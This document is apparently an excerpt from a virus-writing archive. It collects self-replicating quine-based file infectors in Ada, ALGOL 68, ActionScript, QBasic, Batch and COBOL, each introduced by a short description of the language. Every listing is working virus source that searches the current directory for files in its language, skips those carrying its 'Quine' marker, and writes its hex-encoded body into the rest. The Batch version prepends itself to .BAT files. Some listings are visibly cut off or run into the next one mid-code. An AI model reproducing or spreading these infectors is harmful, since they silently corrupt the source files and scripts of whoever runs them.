[Note by SPTH: This document contains quine-based infectors in 32 different
languages written by roy g biv between April and Octomber 2013.
The languages are described in a few sentences (from wikipedia).
Find the full archive in the binary directory.]
*) ADA
Ada is a structured, statically typed, imperative, wide-spectrum, and
object-oriented high-level computer programming language, extended from
Pascal and other languages. It has built-in language support for explicit
concurrency, offering tasks, synchronous message passing, protected
objects, and non-determinism.
Quine-based infector was finished on 22.04.2013.
- - - - - - - - - - - - - - - - [ADA.Quine] - - - - - - - - - - - - - - - -
with gnat.directory_operations,ada.text_io,ada.strings.unbounded,ada.strings.equal_case_insensitive;use gnat.directory_operations,ada.text_io,ada.strings.unbounded,ada.strings;
procedure quine is
a:string:="7769746820676E61742E6469726563746F72795F6F7065726174696F6E732C6164612E746578745F696F2C6164612E737472696E67732E756E626F756E6465642C6164612E737472696E67732E657175616C5F636173655F696E73656E7369746976653B75736520676E61742E6469726563746F72795F6F7065726174696F6E732C6164612E746578745F696F2C6164612E737472696E67732E756E626F756E6465642C6164612E737472696E67733B613A737472696E673A3D22223B623A6469725F747970653B632C673A737472696E6728312E2E323630293B642C682C692C6C2C6D3A6E61747572616C3B652C6A2C6B3A756E626F756E6465645F737472696E673B663A66696C655F747970653B6F70656E28622C222E22293B6C6F6F70207265616428622C632C64293B65786974207768656E20643D303B696620643E34207468656E20696620657175616C5F636173655F696E73656E736974697665286328642D332E2E64292C222E61646222297468656E20653A3D6E756C6C5F756E626F756E6465645F737472696E673B6F70656E28662C696E5F66696C652C6328312E2E6429293B693A3D303B7768696C65206E6F7420656E645F6F665F66696C65286629616E6420693D30206C6F6F70206765745F6C696E6528662C672C68293B693A3D696E64657828746F5F756E626F756E6465645F737472696E67286728312E2E6829292C225175696E6522293B617070656E6428652C6728312E2E6829266368617261637465722776616C28313029293B656E64206C6F6F703B636C6F73652866293B696620693D30207468656E206A3A3D653B6C6F6F7020683A3D696E646578286A2C22656E642022293B65786974207768656E20683D303B693A3D696E64657828756E626F756E6465645F736C696365286A2C682C6C656E677468286A29292C223B22293B6B3A3D756E626F756E6465645F736C696365286A2C682B342C682B692D32293B6C3A3D696E64657828652C2270726F636564757265202226746F5F737472696E67286B29293B65786974207768656E206C3E303B6A3A3D756E626F756E6465645F736C696365286A2C682B692C6C656E677468286A29293B656E64206C6F6F703B696620683E30207468656E206A3A3D756E626F756E6465645F736C69636528652C6C2C6C656E677468286529293B683A3D696E646578286A2C22626567696E22292D323B693A3D696E646578286A2C746F5F737472696E672822656E642022266B29292D323B6F70656E28662C6F75745F66696C652C6328312E2E6429293B643A3D313B7768696C6520643C61276C656E677468206C6F6F70206D3A3D63686172616374657227706F73286128642B3129293B70757428662C6368617261637465722776616C2863686172616374657227706F732861286429292A31362B6D2D6D2F36342A372D38313629293B643A3D642B323B696620643D333533207468656E2070757428662C746F5F737472696E6728756E626F756E6465645F736C69636528652C312C6C2B682929293B656C73696620643D333735207468656E2070757428662C61293B656C73696620643D353435207468656E2070757428662C746F5F737472696E6728756E626F756E6465645F736C69636528652C6C2B682C6C2B692929293B656E642069663B656E64206C6F6F703B70757428662C746F5F737472696E6728756E626F756E6465645F736C69636528652C6C2B692B312C6C656E6774682865292929293B636C6F73652866293B656E642069663B656E642069663B656E642069663B656E642069663B656E64206C6F6F703B636C6F73652862293B657863657074696F6E207768656E206572726F723A6F74686572733D3E72657475726E3B2D2D5175696E65202D20726F792067206269762032322F30342F31330A";b:dir_type;c,g:string(1..260);d,h,i,l,m:natural;e,j,k:unbounded_string;f:file_type;
begin
open(b,".");loop read(b,c,d);exit when d=0;if d>4 then if equal_case_insensitive(c(d-3..d),".adb")then e:=null_unbounded_string;open(f,in_file,c(1..d));i:=0;while not end_of_file(f)and i=0 loop get_line(f,g,h);i:=index(to_unbounded_string(g(1..h)),"Quine");append(e,g(1..h)&character'val(10));end loop;close(f);if i=0 then j:=e;loop h:=index(j,"end ");exit when h=0;i:=index(unbounded_slice(j,h,length(j)),";");k:=unbounded_slice(j,h+4,h+i-2);l:=index(e,"procedure "&to_string(k));exit when l>0;j:=unbounded_slice(j,h+i,length(j));end loop;if h>0 then j:=unbounded_slice(e,l,length(e));h:=index(j,"begin")-2;i:=index(j,to_string("end "&k))-2;open(f,out_file,c(1..d));d:=1;while dreturn;--Quine - roy g biv 22/04/13
end quine;
- - - - - - - - - - - - - - - - [ADA.Quine] - - - - - - - - - - - - - - - -
*) Algol
ALGOL 68 (short for ALGOrithmic Language 1968) is an imperative computer
programming language that was conceived as a successor to the ALGOL 60
programming language, designed with the goal of a much wider scope of
application and more rigorously defined syntax and semantics.
The contributions of ALGOL 68 to the field of computer science has been
deep, wide ranging and enduring, although many of these contributions
were only publicly identified when they had reappeared in subsequently
developed programming languages.
Quine-based infector was finished on 27.04.2013.
- - - - - - - - - - - - - - - - [ALG.Quine] - - - - - - - - - - - - - - - -
BEGIN
STRINGa:="222C623A3D223B535452494E47613A3D222B52455052283334292B612C662C6A3B494E54643B464F5263425932544F2055504261444F643A3D414253615B632B315D3B622B3A3D5245505228414253615B635D2A31362B642D454E5449455228642F3634292A372D383136294F443B5B5D535452494E47653D6765746469726563746F727928222E22293B464F5263544F2055504265444F20494620555042655B635D3E345448454E663A3D655B635D5B555042655B635D2D333A5D3B464F5267544F2055504266444F20494620414253665B675D3E363426414253665B675D3C39315448454E665B675D3A3D5245505228414253665B675D2B3332294649204F443B4946663D222E613638225448454E2046494C45683B49466F70656E28682C655B635D2C7374616E64696E6368616E6E656C293D305448454E6F6E6C6F676963616C66696C65656E6428682C285245462046494C456529424F4F4C3A69293B535452494E476C3B424F4F4C6B3B5748494C456765746628682C2824676C242C6A29293B6B3A3D737472696E67696E737472696E6728225175696E65222C4E494C2C6A293B7E6B444F6C2B3A3D6A2B52455052284142533130294F443B693A534B49503B636C6F73652868293B49466B3D46414C5345205448454E2049466F70656E28682C655B635D2C7374616E646F75746368616E6E656C293D305448454E643A3D5550426C2D333B5748494C456C5B642B313A642B335D2F3D22454E4422444F642D3A3D314F443B70757428682C286C5B3A645D2C622C6C5B642B313A5D292946493B636C6F73652868294649204649204649204649204F44235175696E65202D20726F792067206269762032372F30342F313323",b:=";STRINGa:="+REPR(34)+a,f,j;INTd;FORcBY2TO UPBaDOd:=ABSa[c+1];b+:=REPR(ABSa[c]*16+d-ENTIER(d/64)*7-816)OD;[]STRINGe=getdirectory(".");FORcTO UPBeDO IF UPBe[c]>4THENf:=e[c][UPBe[c]-3:];FORgTO UPBfDO IF ABSf[g]>64&ABSf[g]<91THENf[g]:=REPR(ABSf[g]+32)FI OD;IFf=".a68"THEN FILEh;IFopen(h,e[c],standinchannel)=0THENonlogicalfileend(h,(REF FILEe)BOOL:i);STRINGl;BOOLk;WHILEgetf(h,($gl$,j));k:=stringinstring("Quine",NIL,j);~kDOl+:=j+REPR(ABS10)OD;i:SKIP;close(h);IFk=FALSE THEN IFopen(h,e[c],standoutchannel)=0THENd:=UPBl-3;WHILEl[d+1:d+3]/="END"DOd-:=1OD;put(h,(l[:d],b,l[d+1:]))FI;close(h)FI FI FI FI OD#Quine - roy g biv 27/04/13#
END
- - - - - - - - - - - - - - - - [ALG.Quine] - - - - - - - - - - - - - - - -
*) ActionScript
ActionScript is an object-oriented language originally developed by
Macromedia Inc. (now owned by Adobe Systems). It is a dialect of
ECMAScript (meaning it is a superset of the syntax and semantics of the
language more widely known as JavaScript), and is used primarily for the
development of websites and software targeting the Adobe Flash Player
platform, used on Web pages in the form of embedded SWF files. The
language itself is open-source in that its specification is offered free
of charge and both an open source compiler (as part of Apache Flex)
and open source virtual machine (Mozilla Tamarin) are available.
Quine-based infector was finished on 09.10.2013.
- - - - - - - - - - - - - - - - [AS.Quine] - - - - - - - - - - - - - - - -
package
{
import flash.display.Sprite;
public class quine extends Sprite
{
function quine()
{
{
var a:String="223B76617220623A537472696E673D227B76617220613A537472696E673D5C22222B613B76617220633A696E743B666F7228633D303B633C612E6C656E6774683B632B3D3229622B3D537472696E672E66726F6D43686172436F6465287061727365496E7428612E73756273747228632C32292C313629293B696D706F727420666C6173682E66696C6573797374656D2E2A3B76617220643A41727261793D46696C652E646F63756D656E74734469726563746F72792E6765744469726563746F72794C697374696E6728293B666F7228633D303B633C642E6C656E6774683B632B2B29696628645B635D2E75726C2E737562737472696E6728645B635D2E75726C2E6C656E6774682D33292E746F4C6F7765724361736528293D3D222E617322297472797B76617220653A46696C6553747265616D3D6E65772046696C6553747265616D28293B652E6F70656E28645B635D2C227265616422293B76617220663A537472696E673D652E72656164555446427974657328652E6279746573417661696C61626C65293B652E636C6F736528293B76617220673A696E743D662E6C617374496E6465784F6628227D222C662E6C617374496E6465784F6628227D222C662E6C617374496E6465784F6628227D22292D31292D31293B696628662E63686172417428672D3129213D272F2729207B652E6F70656E28645B635D2C22777269746522293B652E7772697465555446427974657328662E73756273747228302C67292B622B662E737562737472286729293B652E636C6F736528293B7D7D6361746368287A297B7D7D2F2A5175696E65202D20726F792067206269762030392F31302F31332A2F";var b:String="{var a:String=\""+a;var c:int;for(c=0;cR":ON ERROR GOTO G:OPEN"I",1,"R":WHILE NOT EOF(1):LINE INPUT#1,A$:OPEN"I",2,A$:A=0:WHILE NOT EOF(2)AND A=0:LINE INPUT#2,C$:A=INSTR(C$,"Quine"):WEND:CLOSE 2
IF A=0THEN
OPEN"A",2,A$:PRINT#2,B$:CLOSE 2
ENDIF:WEND
G:END'Quine - roy g biv 24/05/13
- - - - - - - - - - - - - - - - [QBAS.Quine] - - - - - - - - - - - - - - - -
*) Batch
In DOS, OS/2, and also Microsoft Windows, batch file is the name given to
a type of script file, a text file containing a series of commands to be
executed by the command interpreter.
A batch file may contain any command the interpreter accepts
interactively at the command prompt. A batch file may also have
constructs (IF, GOTO, Labels, CALL, etc.) that enable conditional
branching and looping within the batch file.
Quine-based infector was finished on 19.09.2013.
- - - - - - - - - - - - - - - - [BAT.Quine] - - - - - - - - - - - - - - - -
@REM QUINE - ROY G BIV 19/09/13
@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
SET A=4052454D205155494E45202D20524F592047204249562031392F30392F31330A404543484F204F46460A5345544C4F43414C20454E41424C4544454C41594544455850414E53494F4E0A53455420413D0A53455420423D205222232452522728292A2B2C2D2E2F303132333435363738393A3B523D523F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D525F606162636465666768696A6B6C6D6E6F707172737475767778797A7B527D7E0A464F52202F4C2025254120494E2028302C322C3135313629444F2043414C4C3A45202525410A464F522025254120494E20282A2E42415429444F2049462025257E5A41204C53532036303030302043414C4C3A49202525410A454E444C4F43414C0A404543484F204F4E0A40474F544F3A4B0A3A450A49462025313D3D3136302053455420463D2146212541250A534554202F4120473D307821413A7E25312C32210A534554202F4120483D472D33320A4946202547253D3D313020280A53455420463D2146215E0A0A29454C5345204946202548253D3D31202853455420463D2146215E5E210A29454C5345204946202548253D3D35202853455420463D21462125250A29454C5345204946202548253D3D36202853455420463D2146215E260A29454C5345204946202548253D3D3238202853455420463D2146215E3C0A29454C5345204946202548253D3D3330202853455420463D2146215E3E0A29454C5345204946202548253D3D3632202853455420463D2146215E5E5E5E0A29454C5345204946202548253D3D3932202853455420463D2146215E7C0A29454C53452053455420463D21462121423A7E2548252C31210A474F544F3A454F460A3A490A464F52202F462022544F4B454E533D2A222025254220494E2028253129444F20280A534554204A3D2525420A49462022214A3A7E352C352122204E455120225155494E452220280A52454E20253120520A4543484F202146213E25310A5459504520523E3E25310A44454C20520A290A474F544F3A454F460A290A3A4B0A
SET B= R"#$RR'()*+,-./0123456789:;R=R?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]R_`abcdefghijklmnopqrstuvwxyz{R}~
FOR /L %%A IN (0,2,1516)DO CALL:E %%A
FOR %%A IN (*.BAT)DO IF %%~ZA LSS 60000 CALL:I %%A
ENDLOCAL
@ECHO ON
@GOTO:K
:E
IF %1==160 SET F=!F!%A%
SET /A G=0x!A:~%1,2!
SET /A H=G-32
IF %G%==10 (
SET F=!F!^
)ELSE IF %H%==1 (SET F=!F!^^!
)ELSE IF %H%==5 (SET F=!F!%%
)ELSE IF %H%==6 (SET F=!F!^&
)ELSE IF %H%==28 (SET F=!F!^<
)ELSE IF %H%==30 (SET F=!F!^>
)ELSE IF %H%==62 (SET F=!F!^^^^
)ELSE IF %H%==92 (SET F=!F!^|
)ELSE SET F=!F!!B:~%H%,1!
GOTO:EOF
:I
FOR /F "TOKENS=*" %%B IN (%1)DO (
SET J=%%B
IF "!J:~5,5!" NEQ "QUINE" (
REN %1 R
ECHO !F!>%1
TYPE R>>%1
DEL R
)
GOTO:EOF
)
:K
- - - - - - - - - - - - - - - - [BAT.Quine] - - - - - - - - - - - - - - - -
*) COBOL
COBOL is one of the oldest programming languages, primarily designed by
Grace Hopper. Its name is an acronym for COmmon Business-Oriented
Language, defining its primary domain in business, finance, and
administrative systems for companies and governments.
Quine-based infector was finished on 01.09.2013.
- - - - - - - - - - - - - - - - [CBL.Quine] - - - - - - - - - - - - - - - -
010913 IDENTIFICATION DIVISION.
010913 PROGRAM-ID. QUINE.
010913 ENVIRONMENT DIVISION.
010913 INPUT-OUTPUT SECTION.
010913 FILE-CONTROL.
010913 SELECT A ASSIGN TO'VICTIM.CBL'
010913 ORGANIZATION IS LINE SEQUENTIAL.
010913 SELECT E ASSIGN TO'R'
010913 ORGANIZATION IS LINE SEQUENTIAL.
010913 DATA DIVISION.
010913 FILE SECTION.
010913 FD A
010913 RECORD CONTAINS 72 CHARACTERS.
010913 01 B.
010913 02 C PIC X(6).
010913 02 D PIC X(66).
010913 FD E
010913 RECORD CONTAINS 72 CHARACTERS.
010913 01 F.
010913 02 G PIC X(6).
010913 02 H PIC X(66).
010913 WORKING-STORAGE SECTION.
010913 01 I PIC 9(6).
010913 01 J PIC 9.
010913 01 K PIC 9.
010913 01 L PIC 999.
010913 01 M PIC 999.
010913 01 N PIC 999.
010913 01 O PIC 9(6).
010913 01 P PIC 999.
010913 01 Q PIC 999.
010913 01 R PIC 9(5).
010913 01 S PIC 999.
010913 01 T PIC 999.
010913 01 U PIC X(59).
010913 01 V PIC X(9098).
010913 01 W PIC 99.
010913 PROCEDURE DIVISION.
010913 OPEN INPUT A
010913 SET I TO 0
010913 SET J TO 0
010913 SET K TO 0
010913 SET M TO 0
010913 SET N TO 0
010913 SET O TO 0
010913 SET P TO 0
010913 SET Q TO 0
010913 SET R TO 0
010913 SET S TO 0
010913 PERFORM UNTIL J=1 OR K>0
010913 READ A
010913 AT END SET J TO 1
010913 END-READ
010913 ADD 1 TO I
010913 INSPECT D TALLYING K FOR ALL'QUINE'
010913 IF D(1:1)=' 'THEN
010913 SET L TO 0
010913 INSPECT D TALLYING L FOR ALL'DIVISION.'
010913 IF L=1 THEN
010913 INSPECT D TALLYING L FOR ALL'ENVIRONMENT'
010913 IF L=2 THEN SET M TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'DATA'
010913 IF L=2 THEN SET N TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'PROCEDURE'
010913 IF L=2 THEN SET O TO I
010913 END-IF
010913 END-IF
010913 END-IF
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'SECTION.'
010913 IF L=1 THEN
010913 INSPECT D TALLYING L FOR ALL'INPUT-OUTPUT'
010913 IF L=2 THEN SET P TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'FILE'
010913 IF L=2 THEN SET Q TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'WORKING-STORAGE'
010913 IF L=2 THEN SET R TO I
010913 END-IF
010913 END-IF
010913 END-IF
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'FILE-CONTROL.'
010913 IF L=1 THEN SET S TO I
010913 END-PERFORM
010913 CLOSE A
010913 IF K=0 AND O>0 THEN
010913 OPEN INPUT A
010913 OPEN OUTPUT E
010913 SET L TO 1
010913 SET T TO I
010913 IF M>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>M
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 IF P>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>P
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 IF S>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>S
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 END-IF
010913 END-IF
010913 ELSE
010913 SET M TO O
010913 IF N>0 THEN SET M TO N
010913 END-IF
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=M
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET H TO' ENVIRONMENT DIVISION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 IF S=0 THEN
010913 IF P=0 THEN
010913 SET H TO' INPUT-OUTPUT SECTION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO' FILE-CONTROL.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO" SELECT A ASSIGN TO'VICTIM.CBL'"
010913 WRITE F
010913 SET U TO' ORGANIZATION IS LINE SEQUENTIAL.'
010913 SET H TO U
010913 WRITE F
010913 SET H TO" SELECT E ASSIGN TO'R'"
010913 WRITE F
010913 SET H TO U
010913 WRITE F
010913 ADD 4 TO T
010913 IF Q>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>Q
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 ELSE
010913 IF N>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>N
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 ELSE
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=O
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET H TO' DATA DIVISION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO' FILE SECTION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO' FD A'
010913 WRITE F
010913 SET U TO' RECORD CONTAINS 72 CHARACTERS.'
010913 SET H TO U
010913 WRITE F
010913 SET H TO' 01 B.'
010913 WRITE F
010913 SET H TO' 02 C PIC X(6).'
010913 WRITE F
010913 SET H TO' 02 D PIC X(66).'
010913 WRITE F
010913 SET H TO' FD E'
010913 WRITE F
010913 SET H TO U
010913 WRITE F
010913 SET H TO' 01 F.'
010913 WRITE F
010913 SET H TO' 02 G PIC X(6).'
010913 WRITE F
010913 SET H TO' 02 H PIC X(66).'
010913 WRITE F
010913 ADD 10 TO T
010913 IF R>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>R
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 ELSE
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=O
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET H TO' WORKING-STORAGE SECTION.'
010913 ADD 1 TO T
010913 WRITE F
010913 END-IF
010913 SET H TO' 01 I PIC 9(6).'
010913 WRITE F
010913 SET H TO' 01 J PIC 9.'
010913 WRITE F
010913 SET H TO' 01 K PIC 9.'
010913 WRITE F
010913 SET H TO' 01 L PIC 999.'
010913 WRITE F
010913 SET H TO' 01 M PIC 999.'
010913 WRITE F
010913 SET H TO' 01 N PIC 999.'
010913 WRITE F
010913 SET H TO' 01 O PIC 9(6).'
010913 WRITE F
010913 SET H TO' 01 P PIC 999.'
010913 WRITE F
010913 SET H TO' 01 Q PIC 999.'
010913 WRITE F
010913 SET H TO' 01 R PIC 9(5).'
010913 WRITE F
010913 SET H TO' 01 S PIC 999.'
010913 WRITE F
010913 SET H TO' 01 T PIC 999.'
010913 WRITE F
010913 SET H TO' 01 U PIC X(59).'
010913 WRITE F
010913 SET H TO' 01 V PIC X(9098).'
010913 WRITE F
010913 SET H TO' 01 W PIC 99.'
010913 WRITE F
010913 ADD 15 TO T
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>O
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET V TO'204F50454E20494E50555420410A20534554204920544F20300A2053
010913-'4554204A20544F20300A20534554204B20544F20300A20534554204D20544F20
010913-'300A20534554204E20544F20300A20534554204F20544F20300A205345542050
010913-'20544F20300A20534554205120544F20300A20534554205220544F20300A2053
010913-'4554205320544F20300A20504552464F524D20554E54494C204A3D31204F5220
010913-'4B3E300A205245414420410A20415420454E4420534554204A20544F20310A20
010913-'454E442D524541440A20414444203120544F20490A20494E5350454354204420
010913-'54414C4C59494E47204B20464F5220414C4C275155494E45270A204946204428
010913-'313A31293D2720275448454E0A20534554204C20544F20300A20494E53504543
010913-'5420442054414C4C59494E47204C20464F5220414C4C274449564953494F4E2E
010913-'270A204946204C3D31205448454E0A20494E535045435420442054414C4C5949
010913-'4E47204C20464F5220414C4C27454E5649524F4E4D454E54270A204946204C3D
010913-'32205448454E20534554204D20544F20490A20454C53450A20494E5350454354
010913-'20442054414C4C59494E47204C20464F5220414C4C2744415441270A20494620
010913-'4C3D32205448454E20534554204E20544F20490A20454C53450A20494E535045
010913-'435420442054414C4C59494E47204C20464F5220414C4C2750524F4345445552
010913-'45270A204946204C3D32205448454E20534554204F20544F20490A20454E442D
010913-'49460A20454E442D49460A20454E442D49460A20454C53450A20494E53504543
010913-'5420442054414C4C59494E47204C20464F5220414C4C2753454354494F4E2E27
010913-'0A204946204C3D31205448454E0A20494E535045435420442054414C4C59494E
010913-'47204C20464F5220414C4C27494E5055542D4F5554505554270A204946204C3D
010913-'32205448454E20534554205020544F20490A20454C53450A20494E5350454354
010913-'20442054414C4C59494E47204C20464F5220414C4C2746494C45270A20494620
010913-'4C3D32205448454E20534554205120544F20490A20454C53450A20494E535045
010913-'435420442054414C4C59494E47204C20464F5220414C4C27574F524B494E472D
010913-'53544F52414745270A204946204C3D32205448454E20534554205220544F2049
010913-'0A20454E442D49460A20454E442D49460A20454E442D49460A20454C53450A20
010913-'494E535045435420442054414C4C59494E47204C20464F5220414C4C2746494C
010913-'452D434F4E54524F4C2E270A204946204C3D31205448454E2053455420532054
010913-'4F20490A20454E442D504552464F524D0A20434C4F534520410A204946204B3D
010913-'3020414E44204F3E30205448454E0A204F50454E20494E50555420410A204F50
010913-'454E204F555450555420450A20534554204C20544F20310A2053455420542054
010913-'4F20490A204946204D3E30205448454E0A20504552464F524D2056415259494E
010913-'47204C2046524F4D204C204259203120554E54494C204C3E4D0A205245414420
010913-'410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'4F524D0A20494620503E30205448454E0A20504552464F524D2056415259494E
010913-'47204C2046524F4D204C204259203120554E54494C204C3E500A205245414420
010913-'410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'4F524D0A20494620533E30205448454E0A20504552464F524D2056415259494E
010913-'47204C2046524F4D204C204259203120554E54494C204C3E530A205245414420
010913-'410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'4F524D0A20454E442D49460A20454E442D49460A20454C53450A20534554204D
010913-'20544F204F0A204946204E3E30205448454E20534554204D20544F204E0A2045
010913-'4E442D49460A20504552464F524D2056415259494E47204C2046524F4D204C20
010913-'4259203120554E54494C204C3D4D0A205245414420410A20534554204620544F
010913-'20420A20575249544520460A20454E442D504552464F524D0A20534554204820
010913-'544F2720454E5649524F4E4D454E54204449564953494F4E2E270A2057524954
010913-'4520460A20414444203120544F20540A20454E442D49460A20494620533D3020
010913-'5448454E0A20494620503D30205448454E0A20534554204820544F2720494E50
010913-'55542D4F55545055542053454354494F4E2E270A20575249544520460A204144
010913-'44203120544F20540A20454E442D49460A20534554204820544F272046494C45
010913-'2D434F4E54524F4C2E270A20575249544520460A20414444203120544F20540A
010913-'20454E442D49460A20534554204820544F222053454C45435420412041535349
010913-'474E20544F2756494354494D2E43424C27220A20575249544520460A20534554
010913-'205520544F27204F5247414E495A4154494F4E204953204C494E452053455155
010913-'454E5449414C2E270A20534554204820544F20550A20575249544520460A2053
010913-'4554204820544F222053454C45435420452041535349474E20544F275227220A
010913-'20575249544520460A20534554204820544F20550A20575249544520460A2041
010913-'4444203420544F20540A20494620513E30205448454E0A20504552464F524D20
010913-'56415259494E47204C2046524F4D204C204259203120554E54494C204C3E510A
010913-'205245414420410A20534554204620544F20420A20575249544520460A20454E
010913-'442D504552464F524D0A20454C53450A204946204E3E30205448454E0A205045
010913-'52464F524D2056415259494E47204C2046524F4D204C204259203120554E5449
010913-'4C204C3E4E0A205245414420410A20534554204620544F20420A205752495445
010913-'20460A20454E442D504552464F524D0A20454C53450A20504552464F524D2056
010913-'415259494E47204C2046524F4D204C204259203120554E54494C204C3D4F0A20
010913-'5245414420410A20534554204620544F20420A20575249544520460A20454E44
010913-'2D504552464F524D0A20534554204820544F272044415441204449564953494F
010913-'4E2E270A20575249544520460A20414444203120544F20540A20454E442D4946
010913-'0A20534554204820544F272046494C452053454354494F4E2E270A2057524954
010913-'4520460A20414444203120544F20540A20454E442D49460A2053455420482054
010913-'4F272046442041270A20575249544520460A20534554205520544F2720524543
010913-'4F524420434F4E5441494E5320373220434841524143544552532E270A205345
010913-'54204820544F20550A20575249544520460A20534554204820544F2720303120
010913-'422E270A20575249544520460A20534554204820544F27203032204320504943
010913-'20582836292E270A20575249544520460A20534554204820544F272030322044
010913-'205049432058283636292E270A20575249544520460A20534554204820544F27
010913-'2046442045270A20575249544520460A20534554204820544F20550A20575249
010913-'544520460A20534554204820544F2720303120462E270A20575249544520460A
010913-'20534554204820544F2720303220472050494320582836292E270A2057524954
010913-'4520460A20534554204820544F272030322048205049432058283636292E270A
010913-'20575249544520460A2041444420313020544F20540A20494620523E30205448
010913-'454E0A20504552464F524D2056415259494E47204C2046524F4D204C20425920
010913-'3120554E54494C204C3E520A205245414420410A20534554204620544F20420A
010913-'20575249544520460A20454E442D504552464F524D0A20454C53450A20504552
010913-'464F524D2056415259494E47204C2046524F4D204C204259203120554E54494C
010913-'204C3D4F0A205245414420410A20534554204620544F20420A20575249544520
010913-'460A20454E442D504552464F524D0A20534554204820544F2720574F524B494E
010913-'472D53544F524147452053454354494F4E2E270A20414444203120544F20540A
010913-'20575249544520460A20454E442D49460A20534554204820544F272030312049
010913-'2050494320392836292E270A20575249544520460A20534554204820544F2720
010913-'3031204A2050494320392E270A20575249544520460A20534554204820544F27
010913-'203031204B2050494320392E270A20575249544520460A20534554204820544F
010913-'27203031204C20504943203939392E270A20575249544520460A205345542048
010913-'20544F27203031204D20504943203939392E270A20575249544520460A205345
010913-'54204820544F27203031204E20504943203939392E270A20575249544520460A
010913-'20534554204820544F27203031204F2050494320392836292E270A2057524954
010913-'4520460A20534554204820544F27203031205020504943203939392E270A2057
010913-'5249544520460A20534554204820544F27203031205120504943203939392E27
010913-'0A20575249544520460A20534554204820544F27203031205220504943203928
010913-'35292E270A20575249544520460A20534554204820544F272030312053205049
010913-'43203939392E270A20575249544520460A20534554204820544F272030312054
010913-'20504943203939392E270A20575249544520460A20534554204820544F272030
010913-'312055205049432058283539292E270A20575249544520460A20534554204820
010913-'544F2720303120562050494320582839303938292E270A20575249544520460A
010913-'20534554204820544F272030312057205049432039392E270A20575249544520
010913-'460A2041444420313520544F20540A20504552464F524D2056415259494E4720
010913-'4C2046524F4D204C204259203120554E54494C204C3E4F0A205245414420410A
010913-'20534554204620544F20420A20575249544520460A20454E442D504552464F52
010913-'4D0A20534554205620544F27270A20534554205520544F272021222324252627
010913-'2728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414243444546
010913-'4748494A4B4C4D4E4F505152535455560A2D275758595A270A20534554205720
010913-'544F20310A20504552464F524D2056415259494E47204F2046524F4D20312042
010913-'59203120554E54494C204F3E4C454E475448204F4620560A20534554204D2054
010913-'4F2056284F3A31290A204D554C5449504C59203136204259204D0A2041444420
010913-'3120544F204F0A20534554205020544F2056284F3A31290A204556414C554154
010913-'452056284F3A31290A205748454E274127534554205020544F2031300A205748
010913-'454E274227534554205020544F2031310A205748454E27432753455420502054
010913-'4F2031320A205748454E274427534554205020544F2031330A205748454E2745
010913-'27534554205020544F2031340A205748454E274627534554205020544F203135
010913-'0A20454E442D4556414C554154450A20414444205020544F204D0A204946204D
010913-'3D3130205448454E0A20534554204828573A29544F205350414345530A205752
010913-'49544520460A20414444203120544F20540A20534554205720544F20310A2045
010913-'4C53450A2053554254524143542033312046524F4D204D0A2053455420482857
010913-'3A3129544F2055284D3A31290A20414444203120544F20570A204946204F3D36
010913-'393932205448454E0A20534554204A20544F20300A20534554205220544F2031
010913-'0A20504552464F524D20554E54494C204A3D310A20534554204828573A312954
010913-'4F205628523A31290A20414444203120544F20570A20414444203120544F2052
010913-'0A20494620523E4C454E475448204F462056205448454E20534554204A20544F
010913-'20310A20454C534520494620573D3637205448454E0A20575249544520460A20
010913-'414444203120544F20540A20534554204828313A3229544F222D27220A205345
010913-'54205720544F20330A20454E442D504552464F524D0A20454E442D504552464F
010913-'524D0A20494620573E32205448454E20575249544520460A20454E442D49460A
010913-'20534554204828313A3129544F2720270A20504552464F524D2056415259494E
010913-'47204C2046524F4D204C204259203120554E54494C204C3D490A205245414420
010913-'410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'4F524D0A20434C4F534520450A20434C4F534520410A204F50454E20494E5055
010913-'5420450A204F50454E204F555450555420410A20534554204C20544F20310A20
010913-'504552464F524D2056415259494E47204C2046524F4D204C204259203120554E
010913-'54494C204C3D540A205245414420450A20534554204220544F20460A20575249
010913-'544520420A20454E442D504552464F524D0A20434C4F534520410A20434C4F53
010913-'4520450A20454E442D49462E0A2A5155494E45202D20524F5920472042495620
010913-'30312F30392F31330A'
